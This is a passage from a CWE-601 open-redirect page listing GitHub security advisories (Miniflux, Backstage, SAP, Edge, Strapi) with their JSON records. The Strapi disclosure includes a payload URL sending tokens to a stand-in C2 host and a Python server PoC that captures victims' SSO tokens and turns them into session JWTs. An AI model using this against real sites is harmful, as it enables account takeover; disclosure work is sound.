Common Weakness Enumeration

CWE-601

Allowed

URL Redirection to Untrusted Site ('Open Redirect')

Abstraction: Base · Status: Draft

The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

2305 vulnerabilities reference this CWE, most recent first.

GHSA-WQV2-4WPG-8HC9

Vulnerability from github – Published: 2025-12-10 17:18 – Updated: 2026-02-02 16:29
VLAI
Summary
Miniflux has an Open Redirect via protocol-relative redirect_url
Details

Summary

redirect_url is treated as safe when url.Parse(...).IsAbs() is false. Protocol-relative URLs like //ikotaslabs.com have an empty scheme and pass that check, allowing post-login redirects to attacker-controlled sites.

Details

  • url.Parse("//ikotaslabs.com") => empty Scheme, Host="ikotaslabs.com".
  • IsAbs() returns false for //ikotaslabs.com, so the code treats it as allowed.
  • Browser resolves //ikotaslabs.com to current-origin scheme (e.g. https://ikotaslabs.com), enabling phishing flows after login.

PoC

  1. Send or visit: http://localhost/login?redirect_url=//ikotaslabs.com
  2. Complete normal login flow.
  3. After login the app redirects to https://ikotaslabs.com (or http:// depending on origin).

Acknowledgements

This vulnerability was discovered using the automated vulnerability analysis tools VulScribe and PwnML. The research and tool development were conducted with support from the MITOU Advanced Program (未踏アドバンスト事業), implemented by the Information-technology Promotion Agency (IPA), Japan.

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.14"
      },
      "package": {
        "ecosystem": "Go",
        "name": "miniflux.app/v2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.2.15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67713"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-10T17:18:37Z",
    "nvd_published_at": "2025-12-11T01:16:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\n`redirect_url` is treated as safe when `url.Parse(...).IsAbs()` is false. Protocol-relative URLs like `//ikotaslabs.com` have an empty scheme and pass that check, allowing post-login redirects to attacker-controlled sites.\n\n### Details\n- `url.Parse(\"//ikotaslabs.com\")` =\u003e empty Scheme, Host=\"ikotaslabs.com\".\n- `IsAbs()` returns false for `//ikotaslabs.com`, so the code treats it as allowed.\n- Browser resolves `//ikotaslabs.com` to current-origin scheme (e.g. `https://ikotaslabs.com`), enabling phishing flows after login.\n\n### PoC\n1. Send or visit: `http://localhost/login?redirect_url=//ikotaslabs.com`  \n2. Complete normal login flow.  \n3. After login the app redirects to `https://ikotaslabs.com` (or `http://` depending on origin).\n\n### Acknowledgements  \nThis vulnerability was discovered using the automated vulnerability analysis tools **VulScribe** and **PwnML**.   The research and tool development were conducted  with support from the **MITOU Advanced Program (\u672a\u8e0f\u30a2\u30c9\u30d0\u30f3\u30b9\u30c8\u4e8b\u696d)**, implemented by the **Information-technology Promotion Agency (IPA), Japan**.",
  "id": "GHSA-wqv2-4wpg-8hc9",
  "modified": "2026-02-02T16:29:11Z",
  "published": "2025-12-10T17:18:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/miniflux/v2/security/advisories/GHSA-wqv2-4wpg-8hc9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67713"
    },
    {
      "type": "WEB",
      "url": "https://github.com/miniflux/v2/commit/76df99f3a3db234cf6b312be5e771485213d03c7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/miniflux/v2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Miniflux has an Open Redirect via protocol-relative redirect_url"
}

GHSA-WQVH-63MV-9W92

Vulnerability from github – Published: 2026-03-12 14:50 – Updated: 2026-03-13 13:35
VLAI
Summary
@backstage/plugin-auth-backend: OAuth redirect URI allowlist bypass
Details

Impact

The experimental OIDC provider in @backstage/plugin-auth-backend is vulnerable to a redirect URI allowlist bypass. Instances that have enabled experimental Dynamic Client Registration or Client ID Metadata Documents and configured allowedRedirectUriPatterns are affected.

A specially crafted redirect URI can pass the allowlist validation while resolving to an attacker-controlled host. If a victim approves the resulting OAuth consent request, their authorization code is sent to the attacker, who can exchange it for a valid access token.

This requires victim interaction and that one of the experimental features is explicitly enabled, which is not the default.

Patches

Upgrade to @backstage/plugin-auth-backend version 0.27.1 or later.

Workarounds

Disable experimental Dynamic Client Registration and Client ID Metadata Documents features if they are not required.

References

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@backstage/plugin-auth-backend"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.27.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-32235"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-12T14:50:59Z",
    "nvd_published_at": "2026-03-12T19:16:17Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\n\nThe experimental OIDC provider in `@backstage/plugin-auth-backend` is vulnerable to a redirect URI allowlist bypass. Instances that have enabled experimental Dynamic Client Registration or Client ID Metadata Documents and configured `allowedRedirectUriPatterns` are affected.\n\nA specially crafted redirect URI can pass the allowlist validation while resolving to an attacker-controlled host. If a victim approves the resulting OAuth consent request, their authorization code is sent to the attacker, who can exchange it for a valid access token.\n\nThis requires victim interaction and that one of the experimental features is explicitly enabled, which is not the default.\n\n### Patches\n\nUpgrade to `@backstage/plugin-auth-backend` version 0.27.1 or later.\n\n### Workarounds\n\nDisable experimental Dynamic Client Registration and Client ID Metadata Documents features if they are not required.\n\n### References\n\n- [RFC 6749 Section 3.1.2 - Redirection Endpoint](https://datatracker.ietf.org/doc/html/rfc6749#section-3.1.2)",
  "id": "GHSA-wqvh-63mv-9w92",
  "modified": "2026-03-13T13:35:42Z",
  "published": "2026-03-12T14:50:59Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/security/advisories/GHSA-wqvh-63mv-9w92"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32235"
    },
    {
      "type": "WEB",
      "url": "https://github.com/backstage/backstage/commit/6042dd0c7f0706e0f473dafa92799ecf19c825ec"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/backstage/backstage"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@backstage/plugin-auth-backend: OAuth redirect URI allowlist bypass"
}

GHSA-WRMM-R226-5WRQ

Vulnerability from github – Published: 2026-02-10 06:30 – Updated: 2026-02-10 06:30
VLAI
Details

The BSP applications allow an unauthenticated user to inject malicious script content via user-controlled URL parameters that are not sufficiently sanitized. When a victim accesses a crafted URL, the injected script is executed in the victim�s browser, leading to a low impact on confidentiality and integrity, and no impact on the availability of the application.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24323"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-10T04:16:04Z",
    "severity": "MODERATE"
  },
  "details": "The BSP applications allow an unauthenticated user to inject malicious script content via user-controlled URL parameters that are not sufficiently sanitized. When a victim accesses a crafted URL, the injected script is executed in the victim\ufffds browser, leading to a low impact on confidentiality and integrity, and no impact on the availability of the application.",
  "id": "GHSA-wrmm-r226-5wrq",
  "modified": "2026-02-10T06:30:39Z",
  "published": "2026-02-10T06:30:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24323"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3678417"
    },
    {
      "type": "WEB",
      "url": "https://url.sap/sapsecuritypatchday"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRPF-CFWG-7HXV

Vulnerability from github – Published: 2023-03-14 18:30 – Updated: 2023-03-14 18:30
VLAI
Details

Microsoft Edge (Chromium-based) Webview2 Spoofing Vulnerability

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-24892"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-290",
      "CWE-601"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-14T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Microsoft Edge (Chromium-based) Webview2 Spoofing Vulnerability",
  "id": "GHSA-wrpf-cfwg-7hxv",
  "modified": "2023-03-14T18:30:21Z",
  "published": "2023-03-14T18:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-24892"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-24892"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRVH-RCMR-9QFC

Vulnerability from github – Published: 2024-06-12 19:39 – Updated: 2024-06-12 19:39
VLAI
Summary
@strapi/plugin-users-permissions leaks 3rd party authentication tokens and authentication bypass
Details

Summary

By combining two vulnerabilities (an Open Redirect and session token sent as URL query parameter) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).

Impact

Unauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.

Technical details

Vulnerability 1: Open Redirect

Description

Open redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.

In the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.

Remediation

If possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:

  • Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.
  • Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.

If it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:

  • The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.
  • The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend http://yourdomainname.com to the URL before issuing the redirect.
Example 1: Open Redirect in /api/connect/microsoft via $_GET["callback"]
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

Payload:

https://google.fr/

Final payload:

https://<TARGET>/api/connect/microsoft?callback=https://google.fr/

User clicks on the link: c1

Look at the intercepted request in Burp and see the redirect to Microsoft:

c0

Microsoft check the cookies and redirects to the original domain (and route) but with different GET parameters.

Then, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):

c2

The domain originally specified (https://google.fr) as $_GET["callback"] parameter is present in the cookies. So \<TARGET> is using the cookies (koa.sess) to redirect.

c3

koa.sess cookie:

eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==
{"grant":{"provider":"microsoft","dynamic":{"callback":"https://google.fr/"}},"_expire":1700234244263,"_maxAge":86400000}

The vulnerability seems to come from the application's core:

File: packages/plugins/users-permissions/server/controllers/auth.js

'use strict';

/**
 * Auth.js controller
 *
 * @description: A set of functions called "actions" for managing `Auth`.
 */

/* eslint-disable no-useless-escape */
const crypto = require('crypto');
const _ = require('lodash');
const { concat, compact, isArray } = require('lodash/fp');
const utils = require('@strapi/utils');
const {
  contentTypes: { getNonWritableAttributes },
} = require('@strapi/utils');
const { getService } = require('../utils');
const {
  validateCallbackBody,
  validateRegisterBody,
  validateSendEmailConfirmationBody,
  validateForgotPasswordBody,
  validateResetPasswordBody,
  validateEmailConfirmationBody,
  validateChangePasswordBody,
} = require('./validation/auth');

const { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;
const { ApplicationError, ValidationError, ForbiddenError } = utils.errors;

const sanitizeUser = (user, ctx) => {
  const { auth } = ctx.state;
  const userSchema = strapi.getModel('plugin::users-permissions.user');

  return sanitize.contentAPI.output(user, userSchema, { auth });
};

module.exports = {
  async callback(ctx) {
    const provider = ctx.params.provider || 'local';
    const params = ctx.request.body;

    const store = strapi.store({ type: 'plugin', name: 'users-permissions' });
    const grantSettings = await store.get({ key: 'grant' });

    const grantProvider = provider === 'local' ? 'email' : provider;

    if (!_.get(grantSettings, [grantProvider, 'enabled'])) {
      throw new ApplicationError('This provider is disabled');
    }

    if (provider === 'local') {
      await validateCallbackBody(params);

      const { identifier } = params;

      // Check if the user exists.
      const user = await strapi.query('plugin::users-permissions.user').findOne({
        where: {
          provider,
          $or: [{ email: identifier.toLowerCase() }, { username: identifier }],
        },
      });

      if (!user) {
        throw new ValidationError('Invalid identifier or password');
      }

      if (!user.password) {
        throw new ValidationError('Invalid identifier or password');
      }

      const validPassword = await getService('user').validatePassword(
        params.password,
        user.password
      );

      if (!validPassword) {
        throw new ValidationError('Invalid identifier or password');
      }

      const advancedSettings = await store.get({ key: 'advanced' });
      const requiresConfirmation = _.get(advancedSettings, 'email_confirmation');

      if (requiresConfirmation && user.confirmed !== true) {
        throw new ApplicationError('Your account email is not confirmed');
      }

      if (user.blocked === true) {
        throw new ApplicationError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    }

    // Connect the user with the third-party provider.
    try {
      const user = await getService('providers').connect(provider, ctx.query);

      if (user.blocked) {
        throw new ForbiddenError('Your account has been blocked by an administrator');
      }

      return ctx.send({
        jwt: getService('jwt').issue({ id: user.id }),
        user: await sanitizeUser(user, ctx),
      });
    } catch (error) {
      throw new ApplicationError(error.message);
    }
  },

  //...

  async connect(ctx, next) {
    const grant = require('grant-koa');

    const providers = await strapi
      .store({ type: 'plugin', name: 'users-permissions', key: 'grant' })
      .get();

    const apiPrefix = strapi.config.get('api.rest.prefix');
    const grantConfig = {
      defaults: {
        prefix: `${apiPrefix}/connect`,
      },
      ...providers,
    };

    const [requestPath] = ctx.request.url.split('?');
    const provider = requestPath.split('/connect/')[1].split('/')[0];

    if (!_.get(grantConfig[provider], 'enabled')) {
      throw new ApplicationError('This provider is disabled');
    }

    if (!strapi.config.server.url.startsWith('http')) {
      strapi.log.warn(
        'You are using a third party provider for login. Make sure to set an absolute url in config/server.js. More info here: https://docs.strapi.io/developer-docs/latest/plugins/users-permissions.html#setting-up-the-server-url'
      );
    }

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
  },

  //...

};

And more specifically:

...

    // Ability to pass OAuth callback dynamically
    grantConfig[provider].callback =
      _.get(ctx, 'query.callback') ||
      _.get(ctx, 'session.grant.dynamic.callback') ||
      grantConfig[provider].callback;
    grantConfig[provider].redirect_uri = getService('providers').buildRedirectUri(provider);

    return grant(grantConfig)(ctx, next);
...

Possible patch:

grantConfig[provider].callback = process.env[`${provider.toUpperCase()}_REDIRECT_URL`] || grantConfig[provider].callback

_.get(ctx, 'query.callback') = $_GET["callback"] and _.get(ctx, 'session') = $_COOKIE["koa.sess"] (which is {"grant":{"provider":"microsoft","dynamic":{"callback":"https://XXXXXXX/"}},"_expire":1701275652123,"_maxAge":86400000}) so _.get(ctx, 'session.grant.dynamic.callback') = https://XXXXXXX/.

The route is clearly defined here:

File: packages/plugins/users-permissions/server/routes/content-api/auth.js

'use strict';

module.exports = [

//...

  {
    method: 'GET',
    path: '/auth/:provider/callback',
    handler: 'auth.callback',
    config: {
      prefix: '',
    },
  },

  //...

];

File: packages/plugins/users-permissions/server/services/providers-registry.js


const getInitialProviders = ({ purest }) => ({

//..

  async microsoft({ accessToken }) {
    const microsoft = purest({ provider: 'microsoft' });

    return microsoft
      .get('me')
      .auth(accessToken)
      .request()
      .then(({ body }) => ({
        username: body.userPrincipalName,
        email: body.userPrincipalName,
      }));
  },

//..

});

If parameter $_GET["callback"] is defined in the GET request, the assignment does not evaluate all conditions, but stops at the beginning. The value is then stored in the cookie koa.sess:

koa.sess=eyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2FkbWluLmludGUubmV0YXRtby5jb20vdXNlcnMvYXV0aC9yZWRpcmVjdCJ9fSwiX2V4cGlyZSI6MTcwMTI3NTY1MjEyMywiX21heEFnZSI6ODY0MDAwMDB9

Which once base64 decoded become {"grant":{"provider":"microsoft","dynamic":{"callback":"https://<TARGET>/users/auth/redirect"}},"_expire":1701275652123,"_maxAge":86400000}.

The signature of the cookie is stored in cookie koa.sess.sig:

koa.sess.sig=wTRmcVRrn88hWMdg84VvSD87-_0

File: packages/plugins/users-permissions/server/bootstrap/grant-config.js


//..

  microsoft: {
    enabled: false,
    icon: 'windows',
    key: '',
    secret: '',
    callback: `${baseURL}/microsoft/callback`,
    scope: ['user.read'],
  },

//..

Vulnerability 2: Session token in URL

Description

Applications should not send session tokens as URL query parameters and use instead an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Example 1: SSO token transmitted within URL ($_GET["access_token"])
  • Path: /api/connect/microsoft
  • Parameter: $_GET["callback"]

When a callback was called, the 3rd party token was transmitted in an insecure way within the URL, which could be used to increase the impact of the Open Redirect vulnerability described previously by stealing the SSO token.

Weaponized payload:

https://<TARGET>/api/connect/microsoft?callback=http://<C2>:8080/

With a web server specially developed to exploit the vulnerability listening on \<C2>:8080, it is possible to retrieve a JWT token allowing authentication on Strapi.

A user is on his browser when he decides to click on a link sent to him by e-mail.

c4

The attacker places the malicious link in the URL bar to simulate a victim's click.

c5

The server specially developed by the attacker to show that the vulnerability is exploitable, recovers the user's SSO token.

Everything is invisible to the victim.

c6

Because the victim didn't change to another Web page.

c7

The attacker can use the SSO token to authenticate himself within the application and retrieve a valid JWT token enabling him to interact with it.

c8

Details
Get the JWT token with the access_token

First of all, thanks to the SSO token, you authenticate yourself and get a JWT token to be able to interact with the various API routes.

Request (HTTP):

GET /api/auth/microsoft/callback?access_token=eyJ0eXAiOiJKV<REDACTED>yBzA HTTP/1.1
Host: <TARGET>

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Mon, 27 Nov 2023 17:58:46 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 411
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"jwt":"eyJhbG<REDACTED>eCac","user":{"id":111,"username":"<REDACTED>@<REDACTED>-ext.com","email":"<redacted>@<redacted>-ext.com","provider":"microsoft","confirmed":true,"blocked":false,"createdAt":"2023-11-14T12:35:42.440Z","updatedAt":"2023-11-16T21:00:19.241Z","is_external":false}}
Request API routes using the JWT token

Then reuse the JWT token to request the API.

Request (HTTP):

GET /api/users/me/groups?app=support HTTP/1.1
Host: <TARGET>
Authorization: Bearer eyJ<REDACTED>EeCac

Response (HTTP):

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 28 Nov 2023 13:45:42 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 24684
Connection: keep-alive
Content-Security-Policy: connect-src 'self' https:;img-src 'self' data: blob: https://market-assets.strapi.io;media-src 'self' data: blob:;default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline'
Referrer-Policy: no-referrer
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
X-Download-Options: noopen
X-Frame-Options: SAMEORIGIN
X-Permitted-Cross-Domain-Policies: none
Vary: Origin
X-RateLimit-Limit: 10
X-RateLimit-Remaining: 9
X-RateLimit-Reset: 1701179203
X-XSS-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Powered-By: <REDACTED>

{"apps":{"support":{"groups":[{"device_whitelist":null,"name":"test - support","id":10,"group_privileges":[{"id":37,<REDACTED>

...

POC (Web server stealing SSO token and retrieving JWT token then bypassing authentication)

import base64
import json
import urllib.parse

from http.server import BaseHTTPRequestHandler, HTTPServer
from sys import argv


# Strapi URL.
TARGET = "target.com"

# URLs to which victims are automatically redirected.
REDIRECT_URL = [
    "strapi.io",
    "www.google.fr"
]
# URL used to generate a valid JWT token for authentication within the
# application.
GEN_JWT_URL = f"https://{TARGET}/api/auth/microsoft/callback"


# This function is used to generate a curl command which once executed, will
# give us a valid JWT connection token.
def generate_curl_command(token):
    command = f"curl '{GEN_JWT_URL}?access_token={token}'"
    return command


# We create a custom HTTP server to retrieve users' SSO tokens.
class CustomServer(BaseHTTPRequestHandler):

    # Here we override the default logging function to reduce verbosity.
    def log_message(self, format, *args):
        pass

    # This function automatically redirects a user to the page defined in the
    # global variable linked to the redirection.
    def _set_response(self):
        self.send_response(302)
        self.send_header("Location", REDIRECT_URL[0])
        self.end_headers()

    # If an SSO token is present, we parse it and log the result in STDOUT.
    def do_GET(self):
        # This condition checks whether a token is present in the URL.
        if str(self.path).find("access_token") != -1:
            # If this is the case, we recover the token.
            query = urllib.parse.urlparse(self.path).query
            query_components = dict(qc.split("=") for qc in query.split("&"))
            access_token = urllib.parse.unquote(query_components["access_token"])

            # In the token, which is a string in JWT format, we retrieve the
            # body part of the token.
            interesting_data = access_token.split(".")[1]

            # Patching base64 encoded data.
            interesting_data = interesting_data + "=" * (-len(interesting_data) % 4)

            # Parsing JSON.
            json_data = json.loads(base64.b64decode(interesting_data.encode()))
            family_name, given_name, ipaddr, upn = json_data["given_name"], json_data["family_name"], json_data["ipaddr"], json_data["upn"]

            print(f"[+] Token captured for {family_name} {given_name}, {upn} ({ipaddr}):\n{access_token}\n")
            print(f"[*] Run: \"{generate_curl_command(query_components['access_token'])}\" to get JWT token")

        self._set_response()
        self.wfile.write("Redirecting ...".encode("utf-8"))


def run(server_class=HTTPServer, handler_class=CustomServer, ip="0.0.0.0", port=8080):
    server_address = (ip, port)
    httpd = server_class(server_address, handler_class)

    print(f"Starting httpd ({ip}:{port}) ...")
    try:
        httpd.serve_forever()
    except KeyboardInterrupt:
        pass

    httpd.server_close()
    print("Stopping httpd ...")


if __name__ == "__main__":
    if len(argv) == 3:
        run(ip=argv[1], port=int(argv[2]))
    else:
        run()
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@strapi/plugin-users-permissions"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.24.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-34065"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-294",
      "CWE-601"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-12T19:39:11Z",
    "nvd_published_at": "2024-06-12T15:15:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nBy combining two vulnerabilities (an `Open Redirect` and `session token sent as URL query parameter`) in Strapi framework is its possible of an unauthenticated attacker to bypass authentication mechanisms and retrieve the 3rd party tokens. The attack requires user interaction (one click).\n\n### Impact\n\nUnauthenticated attackers can leverage two vulnerabilities to obtain an 3rd party token and the bypass authentication of Strapi apps.\n\n### Technical details\n\n#### Vulnerability 1: Open Redirect\n\n##### Description\n\nOpen redirection vulnerabilities arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain.\n\nIn the specific context of Strapi, this vulnerability allows the SSO token to be stolen, allowing an attacker to authenticate himself within the application.\n\n##### Remediation\n\nIf possible, applications should avoid incorporating user-controllable data into redirection targets. In many cases, this behavior can be avoided in two ways:\n\n- Remove the redirection function from the application, and replace links to it with direct links to the relevant target URLs.\n- Maintain a server-side list of all URLs that are permitted for redirection. Instead of passing the target URL as a parameter to the redirector, pass an index into this list.\n\nIf it is considered unavoidable for the redirection function to receive user-controllable input and incorporate this into the redirection target, one of the following measures should be used to minimize the risk of redirection attacks:\n\n- The application should use relative URLs in all of its redirects, and the redirection function should strictly validate that the URL received is a relative URL.\n- The application should use URLs relative to the web root for all of its redirects, and the redirection function should validate that the URL received starts with a slash character. It should then prepend \u003cspan dir=\"\"\u003ehttp://yourdomainname.com\u003c/span\u003e to the URL before issuing the redirect.\n\n###### Example 1: Open Redirect in \u003cspan dir=\"\"\u003e/api/connect/microsoft\u003c/span\u003e via `$_GET[\"callback\"]`\n\n- Path: \u003cspan dir=\"\"\u003e/api/connect/microsoft\u003c/span\u003e\n- Parameter: `$_GET[\"callback\"]`\n\nPayload:\n\n```plaintext\nhttps://google.fr/\n```\n\nFinal payload:\n\n```plaintext\nhttps://\u003cTARGET\u003e/api/connect/microsoft?callback=https://google.fr/\n```\n\nUser clicks on the link:\n![c1](https://github.com/strapi/strapi/assets/30262080/c1944cf8-2ef0-4214-ba9e-d4aad10d85ba)\n\nLook at the intercepted request in Burp and see the redirect to Microsoft:\n\n![c0](https://github.com/strapi/strapi/assets/30262080/0c3d9289-432c-46ac-a7e3-eafe15f02483)\n\nMicrosoft check the cookies and redirects to the original domain (and route) but with different GET parameters.\n\nThen, the page redirects to the domain controlled by the attacker (and a token is added to controlled the URL):\n\n![c2](https://github.com/strapi/strapi/assets/30262080/009e3898-1ccf-4ee4-9c29-496ff6b302d0)\n\nThe domain originally specified (https://google.fr) as `$_GET[\"callback\"]` parameter is present in the cookies. So \u003cspan dir=\"\"\u003e\\\u003cTARGET\\\u003e\u003c/span\u003e is using the cookies (`koa.sess`) to redirect.\n\n![c3](https://github.com/strapi/strapi/assets/30262080/4c25cb6c-c9e8-4c2d-aa61-1ad1442e5f4d)\n\n`koa.sess` cookie:\n\n```base64\neyJncmFudCI6eyJwcm92aWRlciI6Im1pY3Jvc29mdCIsImR5bmFtaWMiOnsiY2FsbGJhY2siOiJodHRwczovL2dvb2dsZS5mci8ifX0sIl9leHBpcmUiOjE3MDAyMzQyNDQyNjMsIl9tYXhBZ2UiOjg2NDAwMDAwfQ==\n```\n\n```json\n{\"grant\":{\"provider\":\"microsoft\",\"dynamic\":{\"callback\":\"https://google.fr/\"}},\"_expire\":1700234244263,\"_maxAge\":86400000}\n```\n\nThe vulnerability seems to come from the application\u0027s core:\n\nFile: [\u003cspan dir=\"\"\u003epackages/plugins/users-permissions/server/controllers/auth.js\u003c/span\u003e](https://github.com/strapi/strapi/blob/develop/packages/plugins/users-permissions/server/controllers/auth.js)\n\n```js\n\u0027use strict\u0027;\n\n/**\n * Auth.js controller\n *\n * @description: A set of functions called \"actions\" for managing `Auth`.\n */\n\n/* eslint-disable no-useless-escape */\nconst crypto = require(\u0027crypto\u0027);\nconst _ = require(\u0027lodash\u0027);\nconst { concat, compact, isArray } = require(\u0027lodash/fp\u0027);\nconst utils = require(\u0027@strapi/utils\u0027);\nconst {\n  contentTypes: { getNonWritableAttributes },\n} = require(\u0027@strapi/utils\u0027);\nconst { getService } = require(\u0027../utils\u0027);\nconst {\n  validateCallbackBody,\n  validateRegisterBody,\n  validateSendEmailConfirmationBody,\n  validateForgotPasswordBody,\n  validateResetPasswordBody,\n  validateEmailConfirmationBody,\n  validateChangePasswordBody,\n} = require(\u0027./validation/auth\u0027);\n\nconst { getAbsoluteAdminUrl, getAbsoluteServerUrl, sanitize } = utils;\nconst { ApplicationError, ValidationError, ForbiddenError } = utils.errors;\n\nconst sanitizeUser = (user, ctx) =\u003e {\n  const { auth } = ctx.state;\n  const userSchema = strapi.getModel(\u0027plugin::users-permissions.user\u0027);\n\n  return sanitize.contentAPI.output(user, userSchema, { auth });\n};\n\nmodule.exports = {\n  async callback(ctx) {\n    const provider = ctx.params.provider || \u0027local\u0027;\n    const params = ctx.request.body;\n\n    const store = strapi.store({ type: \u0027plugin\u0027, name: \u0027users-permissions\u0027 });\n    const grantSettings = await store.get({ key: \u0027grant\u0027 });\n\n    const grantProvider = provider === \u0027local\u0027 ? \u0027email\u0027 : provider;\n\n    if (!_.get(grantSettings, [grantProvider, \u0027enabled\u0027])) {\n      throw new 